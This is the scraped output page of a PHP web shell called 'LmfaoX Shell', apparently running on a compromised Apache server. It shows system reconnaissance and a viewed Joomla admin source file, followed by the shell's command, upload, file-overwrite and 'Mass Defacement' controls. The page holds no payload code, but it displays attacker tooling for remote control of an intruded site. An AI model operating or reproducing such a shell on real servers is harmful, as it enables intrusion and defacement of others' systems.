ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:19.45 GB of 70.42 GB (27.63%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ yalagina/ administrator/ components/ com_modules/ models/ fields/ - drwxr-xr-x

Directory:
Viewing file:     moduleposition.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @copyright    Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die;

JFormHelper::loadFieldClass('text');

/**
 * Supports a modal article picker.
 *
 * @package        Joomla.Administrator
 * @subpackage    com_modules
 * @since        1.6
 */
class JFormFieldModulePosition extends JFormFieldText
{
    
/**
     * The form field type.
     *
     * @var        string
     * @since    1.6
     */
    
protected $type 'ModulePosition';

    
/**
     * Method to get the field input markup.
     *
     * @return    string    The field input markup.
     * @since    1.6
     */
    
protected function getInput()
    {
        
// Get the client id.
        
$clientId $this->element['client_id'];
        if (!isset(
$clientId))
        {
            
$clientName $this->element['client'];
            if (isset(
$clientName))
            {
                
$client JApplicationHelper::getClientInfo($clientNametrue);
                
$clientId $client->id;
            }
        }
        if (!isset(
$clientId) && $this->form instanceof JForm) {
            
$clientId $this->form->getValue('client_id');
        }
        
$clientId = (int) $clientId;

        
// Load the modal behavior script.
        
JHtml::_('behavior.modal''a.modal');

        
// Build the script.
        
$script = array();
        
$script[] = '    function jSelectPosition_'.$this->id.'(name) {';
        
$script[] = '        document.id("'.$this->id.'").value = name;';
        
$script[] = '        SqueezeBox.close();';
        
$script[] = '    }';

        
// Add the script to the document head.
        
JFactory::getDocument()->addScriptDeclaration(implode("\n"$script));

        
// Setup variables for display.
        
$html    = array();
        
$link    'index.php?option=com_modules&amp;view=positions&amp;layout=modal&amp;tmpl=component&amp;function=jSelectPosition_'.$this->id.'&amp;client_id='.$clientId;

        
// The current user display field.
        
$html[] = '<div class="fltlft">';
        
$html[] = parent::getInput();
        
$html[] = '</div>';

        
// The user select button.
        
$html[] = '<div class="button2-left">';
        
$html[] = '  <div class="blank">';
        
$html[] = '    <a class="modal" title="'.JText::_('COM_MODULES_CHANGE_POSITION_TITLE').'"  href="'.$link.'" rel="{handler: \'iframe\', size: {x: 800, y: 450}}">'.JText::_('COM_MODULES_CHANGE_POSITION_BUTTON').'</a>';
        
$html[] = '  </div>';
        
$html[] = '</div>';

        return 
implode("\n"$html);
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.3573 seconds